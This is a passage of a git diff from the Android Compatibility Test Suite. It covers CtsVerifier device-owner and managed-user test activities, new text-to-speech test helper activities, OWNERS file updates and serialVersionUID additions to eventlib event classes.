public void finish() {
- // If this activity was started for checking device owner status, then no need to do any
- // tear down.
- if (!ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT.equals(getIntent().getAction())) {
- // Pass and fail buttons are known to call finish() when clicked,
- // and this is when we want to remove the device owner.
- startActivity(createTearDownIntent());
+ String action = getIntent().getAction();
+ switch(action != null ? action : "") {
+ case ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT:
+ case ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT:
+ case ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT:
+ // If this activity was started for checking device / profile owner status, then no
+ // need to do any tear down.
+ Log.d(TAG, "NOT starting createTearDownIntent() due to " + action);
+ break;
+ default:
+ // Pass and fail buttons are known to call finish() when clicked,
+ // and this is when we want to remove the device owner.
+ Log.d(TAG, "Starting createTearDownIntent() due to " + action);
+ startActivity(createTearDownIntent());
+ break;
}
super.finish();
}
@@ -134,6 +192,16 @@
R.string.device_owner_check_device_owner_test,
new Intent(ACTION_CHECK_DEVICE_OWNER_FOR_REQUESTING_BUGREPORT)
.putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+ if (UserManager.isHeadlessSystemUserMode()) {
+ adapter.add(createTestItem(this, CHECK_PROFILE_OWNER_TEST_ID,
+ R.string.device_owner_check_profile_owner_test,
+ new Intent(ACTION_CHECK_PROFILE_OWNER_FOR_REQUESTING_BUGREPORT)
+ .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+ adapter.add(createTestItem(this, CHECK_USER_AFFILIATED_TEST_ID,
+ R.string.device_owner_check_user_affiliation_test,
+ new Intent(ACTION_CHECK_CURRENT_USER_AFFILIATED_FOR_REQUESTING_BUGREPORT)
+ .putExtra(EXTRA_TEST_ID, getIntent().getStringExtra(EXTRA_TEST_ID))));
+ }
// bugreport sharing declined while running test
adapter.add(createInteractiveTestItem(this, BUGREPORT_SHARING_DECLINED_WHILE_BEING_TAKEN,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
index 5e8a92f..577a6c8 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/EnterprisePrivacyTestListActivity.java
@@ -16,11 +16,11 @@
package com.android.cts.verifier.managedprovisioning;
+import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
+
import android.Manifest;
import android.app.admin.DevicePolicyManager;
-import android.content.ComponentName;
import android.content.Intent;
-import android.content.pm.PackageManager;
import android.database.DataSetObserver;
import android.os.Bundle;
import android.provider.Settings;
@@ -31,8 +31,6 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestListAdapter.TestListItem;
-import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
-
/**
* Test class to verify privacy information is shown for devices managed by a Device Owner.
*/
@@ -92,6 +90,12 @@
.putExtra(CommandReceiverActivity.EXTRA_COMMAND, command);
}
+ private Intent buildCommandIntentForCurrentUser(String command) {
+ return buildCommandIntent(command)
+ .putExtra(CommandReceiverActivity.EXTRA_USE_CURRENT_USER_DPM, true);
+ }
+
+
private TestListItem buildCommandTest(String id, int titleRes, int infoRes,
int commandButtonRes, String command) {
return createInteractiveTestItem(this, id, titleRes, infoRes,
@@ -105,12 +109,14 @@
String permission) {
return createInteractiveTestItem(this, id, titleRes, infoRes,
new ButtonInfo[] {
- new ButtonInfo(R.string.enterprise_privacy_reset, buildCommandIntent(
+ new ButtonInfo(R.string.enterprise_privacy_reset,
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
.putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
.putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
DevicePolicyManager.PERMISSION_GRANT_STATE_DEFAULT)),
- new ButtonInfo(R.string.enterprise_privacy_grant, buildCommandIntent(
+ new ButtonInfo(R.string.enterprise_privacy_grant,
+ buildCommandIntentForCurrentUser(
CommandReceiverActivity.COMMAND_SET_PERMISSION_GRANT_STATE)
.putExtra(CommandReceiverActivity.EXTRA_PERMISSION, permission)
.putExtra(CommandReceiverActivity.EXTRA_GRANT_STATE,
@@ -182,11 +188,12 @@
new ButtonInfo(R.string.enterprise_privacy_open_settings,
new Intent(Settings.ACTION_ENTERPRISE_PRIVACY_SETTINGS)),
new ButtonInfo(R.string.enterprise_privacy_set_keyboard,
- buildCommandIntent(CommandReceiverActivity
- .COMMAND_SET_DEFAULT_IME)),
+ buildCommandIntentForCurrentUser(
+ CommandReceiverActivity.COMMAND_SET_DEFAULT_IME)),
new ButtonInfo(R.string.enterprise_privacy_finish,
- buildCommandIntent(CommandReceiverActivity
- .COMMAND_CLEAR_DEFAULT_IME))}));
+ buildCommandIntentForCurrentUser(
+ CommandReceiverActivity.COMMAND_CLEAR_DEFAULT_IME))
+ }));
adapter.add(createInteractiveTestItem(this, ENTERPRISE_PRIVACY_ALWAYS_ON_VPN,
R.string.enterprise_privacy_always_on_vpn,
R.string.enterprise_privacy_always_on_vpn_info,
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
index 8be4564..14ab277 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/ManagedUserPositiveTestActivity.java
@@ -16,6 +16,7 @@
package com.android.cts.verifier.managedprovisioning;
+import static com.android.cts.verifier.managedprovisioning.CommandReceiverActivity.createIntentForDisablingKeyguardOrStatusBar;
import static com.android.cts.verifier.managedprovisioning.Utils.createInteractiveTestItem;
import android.app.Activity;
@@ -24,8 +25,10 @@
import android.content.pm.PackageManager;
import android.database.DataSetObserver;
import android.os.Bundle;
+import android.os.UserHandle;
import android.os.UserManager;
import android.provider.Settings;
+import android.util.Log;
import com.android.cts.verifier.ArrayTestListAdapter;
import com.android.cts.verifier.IntentDrivenTestActivity.ButtonInfo;
@@ -33,6 +36,7 @@
import com.android.cts.verifier.R;
import com.android.cts.verifier.TestListAdapter.TestListItem;
import com.android.cts.verifier.TestResult;
+import com.android.cts.verifier.features.FeatureUtil;
/**
* Activity that lists all positive managed user tests.
@@ -56,13 +60,15 @@
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
- if (ACTION_CHECK_AFFILIATED_PROFILE_OWNER.equals(getIntent().getAction())) {
+ Intent intent = getIntent();
+ Log.d(TAG, "onCreate(" + UserHandle.myUserId() + "): intent=" + intent);
+ if (ACTION_CHECK_AFFILIATED_PROFILE_OWNER.equals(intent.getAction())) {
DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
if (dpm.isProfileOwnerApp(getPackageName()) && dpm.isAffiliatedUser()) {
- TestResult.setPassedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ TestResult.setPassedResult(this, intent.getStringExtra(EXTRA_TEST_ID),
null, null);
} else {
- TestResult.setFailedResult(this, getIntent().getStringExtra(EXTRA_TEST_ID),
+ TestResult.setFailedResult(this, intent.getStringExtra(EXTRA_TEST_ID),
getString(R.string.managed_user_incorrect_managed_user), null);
}
finish();
@@ -97,8 +103,10 @@
// Pass and fail buttons are known to call finish() when clicked,
// and this is when we want to remove the managed owner.
DevicePolicyManager dpm = getSystemService(DevicePolicyManager.class);
+ Log.i(TAG, "Calling logoutUser() on user " + UserHandle.myUserId());
dpm.logoutUser(DeviceAdminTestReceiver.getReceiverComponentName());
}
+ Log.i(TAG, "So long and thanks for all the finish()!");
super.finish();
}
@@ -124,31 +132,33 @@
new ButtonInfo[]{
new ButtonInfo(
R.string.device_owner_disable_statusbar_button,
- createManagedUserIntentWithBooleanParameter(
+ createIntentForDisablingKeyguardOrStatusBar(this,
CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
- true)),
+ /* disabled= */ true)),
new ButtonInfo(
R.string.device_owner_reenable_statusbar_button,
- createManagedUserIntentWithBooleanParameter(
+ createIntentForDisablingKeyguardOrStatusBar(this,
CommandReceiverActivity.COMMAND_SET_STATUSBAR_DISABLED,
- false))}));
+ /* disabled= */ false))}));
}
// setKeyguardDisabled
- adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
- R.string.device_owner_disable_keyguard_test,
- R.string.device_owner_disable_keyguard_test_info,
- new ButtonInfo[]{
- new ButtonInfo(
- R.string.device_owner_disable_keyguard_button,
- createManagedUserIntentWithBooleanParameter(
- CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
- true)),
- new ButtonInfo(
- R.string.device_owner_reenable_keyguard_button,
- createManagedUserIntentWithBooleanParameter(
- CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
- false))}));
+ if (FeatureUtil.isKeyguardShownWhenUserDoesntHaveCredentials(this)) {
+ adapter.add(createInteractiveTestItem(this, DISABLE_KEYGUARD_TEST_ID,
+ R.string.device_owner_disable_keyguard_test,
+ R.string.device_owner_disable_keyguard_test_info,
+ new ButtonInfo[]{
+ new ButtonInfo(
+ R.string.device_owner_disable_keyguard_button,
+ createIntentForDisablingKeyguardOrStatusBar(this,
+ CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
+ true)),
+ new ButtonInfo(
+ R.string.device_owner_reenable_keyguard_button,
+ createIntentForDisablingKeyguardOrStatusBar(this,
+ CommandReceiverActivity.COMMAND_SET_KEYGUARD_DISABLED,
+ false))}));
+ }
// DISALLOW_REMOVE_USER
adapter.add(createInteractiveTestItem(this, DISALLOW_REMOVE_USER_TEST_ID,
@@ -185,12 +195,6 @@
return TestListItem.newTest(activity, titleRes, id, intent, null);
}
- private Intent createManagedUserIntentWithBooleanParameter(String command, boolean value) {
- return new Intent(this, CommandReceiverActivity.class)
- .putExtra(CommandReceiverActivity.EXTRA_COMMAND, command)
- .putExtra(CommandReceiverActivity.EXTRA_ENFORCED, value);
- }
-
private boolean isStatusBarEnabled() {
// Watches don't support the status bar so this is an ok proxy, but this is not the most
// general test for that. TODO: add a test API to do a real check for status bar support.
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
index f51c943..19b6194 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/OWNERS
@@ -1,6 +1,2 @@
# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204
-alexkershaw@google.com
-eranm@google.com
-rubinxu@google.com
-sandness@google.com
-pgrafov@google.com
+file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatform_OWNERS
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
index dceb747..26cfe57 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/managedprovisioning/UserRestrictions.java
@@ -327,7 +327,7 @@
case UserManager.DISALLOW_SHARE_LOCATION:
return pm.hasSystemFeature(PackageManager.FEATURE_LOCATION);
case UserManager.DISALLOW_INSTALL_UNKNOWN_SOURCES:
- return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ return FeatureUtil.isInstallUnknownSourcesSupported(context);
case UserManager.DISALLOW_CONFIG_CREDENTIALS:
return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH)
&& hasSettingsActivity(context, ACTION_CREDENTIALS_INSTALL);
@@ -335,6 +335,10 @@
return FeatureUtil.isScreenTimeoutSupported(context);
case UserManager.DISALLOW_CONFIG_LOCATION:
return FeatureUtil.isConfigLocationSupported(context);
+ case UserManager.DISALLOW_APPS_CONTROL:
+ return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
+ case UserManager.DISALLOW_UNINSTALL_APPS:
+ return !pm.hasSystemFeature(PackageManager.FEATURE_WATCH);
default:
return true;
}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
index f5cd322..40ff606 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -2,7 +2,7 @@
# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
# Bug template url: https://b.corp.google.com/issues/new?component=746324&template=1398789 = per-file: SecurityModeFeatureVerifierActivity.java
# Bug component: 189335 = per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
-per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
-per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file CA*.java, Ca*.java, KeyChainTest.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java, CredentialManagementAppActivity.java = file:platform/frameworks/base:/core/java/android/app/admin/EnterprisePlatformSecurity_OWNERS
per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
per-file SecurityModeFeatureVerifierActivity.java = jjoslin@google.com, tomcherry@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
index d7e6ddb..43a8c18 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/SecurityModeFeatureVerifierActivity.java
@@ -16,19 +16,19 @@
package com.android.cts.verifier.security;
-import static android.os.Build.VERSION;
import static android.os.Build.VERSION_CODES;
+import static com.android.compatibility.common.util.PropertyUtil.getFirstApiLevel;
+import static com.android.compatibility.common.util.PropertyUtil.getVendorApiLevel;
+
import android.content.pm.PackageManager;
import android.os.Bundle;
-import android.os.SystemProperties;
import android.view.View;
import android.view.View.OnClickListener;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.TextView;
-
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
@@ -60,9 +60,8 @@
mHandheldOrTabletOkButton = (Button) findViewById(R.id.handheld_or_tablet_yes);
mHandheldOrTabletNaButton = (Button) findViewById(R.id.handheld_or_tablet_not_applicable);
- final int firstApiLevel =
- SystemProperties.getInt("ro.product.first_api_level", VERSION.SDK_INT);
- mDeviceLaunchedBeforeS = firstApiLevel < VERSION_CODES.S;
+ // Devices launched before S will always pass the test.
+ mDeviceLaunchedBeforeS = isLaunchedBeforeS();
mFeatureAvailable = getPackageManager()
.hasSystemFeature(PackageManager.FEATURE_SECURITY_MODEL_COMPATIBLE);
@@ -81,4 +80,8 @@
}
});
}
+
+ private static boolean isLaunchedBeforeS() {
+ return Math.min(getFirstApiLevel(), getVendorApiLevel()) < VERSION_CODES.S;
+ }
}
diff --git a/apps/TtsTestApp/AndroidManifest.xml b/apps/TtsTestApp/AndroidManifest.xml
index 5fdac07..26616fc 100644
--- a/apps/TtsTestApp/AndroidManifest.xml
+++ b/apps/TtsTestApp/AndroidManifest.xml
@@ -12,5 +12,25 @@
<category android:name="android.intent.category.DEFAULT" />
</intent-filter>
</service>
+ <activity
+ android:name="CheckVoiceData"
+ android:directBootAware="true"
+ android:exported="true"
+ android:theme="@android:style/Theme.NoDisplay">
+ <intent-filter>
+ <action android:name="android.speech.tts.engine.CHECK_TTS_DATA"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
+ <activity
+ android:name="GetSampleText"
+ android:directBootAware="true"
+ android:exported="true"
+ android:theme="@android:style/Theme.NoDisplay">
+ <intent-filter>
+ <action android:name="android.speech.tts.engine.GET_SAMPLE_TEXT"/>
+ <category android:name="android.intent.category.DEFAULT"/>
+ </intent-filter>
+ </activity>
</application>
</manifest>
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java
new file mode 100644
index 0000000..aa2367f
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/CheckVoiceData.java
@@ -0,0 +1,52 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.tts.helper;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.tts.TextToSpeech;
+
+import java.util.ArrayList;
+import java.util.HashSet;
+import java.util.Set;
+
+/** Activity called by the framework to return the list the installable voices. */
+public class CheckVoiceData extends Activity {
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ final Set<String> availableVoices = new HashSet<>();
+ availableVoices.add("eng-USA");
+ availableVoices.add("");
+
+ // Populate a test list of languages that are available at the server.
+ final Intent returnVal = new Intent();
+ ArrayList<String> availableVoicesList = new ArrayList<>(availableVoices);
+ returnVal.putStringArrayListExtra(
+ TextToSpeech.Engine.EXTRA_AVAILABLE_VOICES, availableVoicesList);
+
+ // Populate a test list of languages that are unavailable at the server.
+ ArrayList<String> unavailableVoicesList = new ArrayList<>();
+ unavailableVoicesList.add("");
+ returnVal.putStringArrayListExtra(
+ TextToSpeech.Engine.EXTRA_UNAVAILABLE_VOICES, unavailableVoicesList);
+
+ setResult(TextToSpeech.Engine.CHECK_VOICE_DATA_PASS, returnVal);
+ finish();
+ }
+}
diff --git a/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java b/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java
new file mode 100644
index 0000000..f5c1615
--- /dev/null
+++ b/apps/TtsTestApp/src/com/android/cts/tts/helper/GetSampleText.java
@@ -0,0 +1,38 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.tts.helper;
+
+import android.app.Activity;
+import android.content.Intent;
+import android.os.Bundle;
+import android.speech.tts.TextToSpeech;
+
+/**
+ * Activity called from Settings application to get a
+ * sample string for an example of synthesis.
+ */
+public class GetSampleText extends Activity {
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ final Intent resultIntent = new Intent();
+
+ resultIntent.putExtra("sampleText", "sample text");
+ setResult(TextToSpeech.LANG_AVAILABLE, resultIntent);
+ finish();
+ }
+}
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
index 40afafb..32af32a 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/Event.java
@@ -30,6 +30,8 @@
*/
public abstract class Event implements Serializable {
+ private static final long serialVersionUID = 1;
+
// This class should contain all standard data applicable to all Events.
protected String mPackageName;
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
index 73ec6e4..6e985d6 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/EventLogs.java
@@ -28,6 +28,9 @@
/** Interface to interact with the results of an {@link EventLogsQuery}. */
public abstract class EventLogs<E extends Event> implements Serializable {
+
+ private static final long serialVersionUID = 1;
+
static final Duration DEFAULT_POLL_TIMEOUT = Duration.ofMinutes(5);
// We need to set this earlier than construction otherwise we will skip all events that happen
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
index 4951e15..a31e997 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/CustomEvent.java
@@ -38,6 +38,8 @@
*/
public final class CustomEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link CustomEvent} events. */
public static CustomEventQuery queryPackage(String packageName) {
return new CustomEventQuery(packageName);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
index 9563ac2..77b14e1 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityCreatedEvent.java
@@ -39,6 +39,8 @@
*/
public final class ActivityCreatedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link ActivityCreatedEvent} events. */
public static ActivityCreatedEventQuery queryPackage(String packageName) {
return new ActivityCreatedEventQuery(packageName);
@@ -47,6 +49,9 @@
/** {@link EventLogsQuery} for {@link ActivityCreatedEvent}. */
public static final class ActivityCreatedEventQuery
extends EventLogsQuery<ActivityCreatedEvent, ActivityCreatedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
ActivityQueryHelper<ActivityCreatedEventQuery> mActivity = new ActivityQueryHelper<>(this);
BundleQueryHelper<ActivityCreatedEventQuery> mSavedInstanceState =
new BundleQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
index 3d606e1..8f79655 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityDestroyedEvent.java
@@ -32,6 +32,8 @@
*/
public final class ActivityDestroyedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link ActivityDestroyedEvent} events. */
public static ActivityDestroyedEventQuery queryPackage(String packageName) {
return new ActivityDestroyedEventQuery(packageName);
@@ -40,6 +42,9 @@
/** {@link EventLogsQuery} for {@link ActivityDestroyedEvent}. */
public static final class ActivityDestroyedEventQuery
extends EventLogsQuery<ActivityDestroyedEvent, ActivityDestroyedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
ActivityQueryHelper<ActivityDestroyedEventQuery> mActivity =
new ActivityQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
index 36a8c91..1baef2f 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityEventsImpl.java
@@ -20,7 +20,6 @@
/** Default implementation of {@link ActivityEvents}. */
public final class ActivityEventsImpl implements ActivityEvents {
-
private final NeneActivity mActivity;
ActivityEventsImpl(NeneActivity activity) {
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
index 2708fc1..22b5afd 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityPausedEvent.java
@@ -32,6 +32,8 @@
*/
public final class ActivityPausedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link ActivityPausedEvent} events. */
public static ActivityPausedEventQuery queryPackage(String packageName) {
return new ActivityPausedEventQuery(packageName);
@@ -40,6 +42,9 @@
/** {@link EventLogsQuery} for {@link ActivityPausedEvent}. */
public static final class ActivityPausedEventQuery
extends EventLogsQuery<ActivityPausedEvent, ActivityPausedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
ActivityQueryHelper<ActivityPausedEventQuery> mActivity =
new ActivityQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
index eb3e122..a6b9418 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityRestartedEvent.java
@@ -32,6 +32,8 @@
*/
public final class ActivityRestartedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link ActivityRestartedEvent} events. */
public static ActivityRestartedEventQuery queryPackage(String packageName) {
return new ActivityRestartedEventQuery(packageName);
@@ -40,6 +42,9 @@
/** {@link EventLogsQuery} for {@link ActivityRestartedEvent}. */
public static final class ActivityRestartedEventQuery
extends EventLogsQuery<ActivityRestartedEvent, ActivityRestartedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
ActivityQueryHelper<ActivityRestartedEventQuery> mActivity =
new ActivityQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
index ef052fd..ce57340 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityResumedEvent.java
@@ -32,6 +32,8 @@
*/
public final class ActivityResumedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link ActivityResumedEvent} events. */
public static ActivityResumedEventQuery queryPackage(String packageName) {
return new ActivityResumedEventQuery(packageName);
@@ -40,6 +42,9 @@
/** {@link EventLogsQuery} for {@link ActivityResumedEvent}. */
public static final class ActivityResumedEventQuery
extends EventLogsQuery<ActivityResumedEvent, ActivityResumedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
ActivityQueryHelper<ActivityResumedEventQuery> mActivity =
new ActivityQueryHelper<>(this);
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
index f383fc6..a6cb5be 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
+++ b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStartedEvent.java
@@ -32,6 +32,8 @@
*/
public final class ActivityStartedEvent extends Event {
+ private static final long serialVersionUID = 1;
+
/** Begins a query for {@link ActivityStartedEvent} events. */
public static ActivityStartedEventQuery queryPackage(String packageName) {
return new ActivityStartedEventQuery(packageName);
@@ -40,6 +42,9 @@
/** {@link EventLogsQuery} for {@link ActivityStartedEvent}. */
public static final class ActivityStartedEventQuery
extends EventLogsQuery<ActivityStartedEvent, ActivityStartedEventQuery> {
+
+ private static final long serialVersionUID = 1;
+
ActivityQueryHelper<ActivityStartedEventQuery> mActivity = new ActivityQueryHelper<>(this);
private ActivityStartedEventQuery(String packageName) {
diff --git a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java b/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
index 9dac7f8..cd9630c 100644
--- a/common/device-side/bedstead/eventlib/src/main/java/com/android/eventlib/events/activities/ActivityStoppedEvent.java
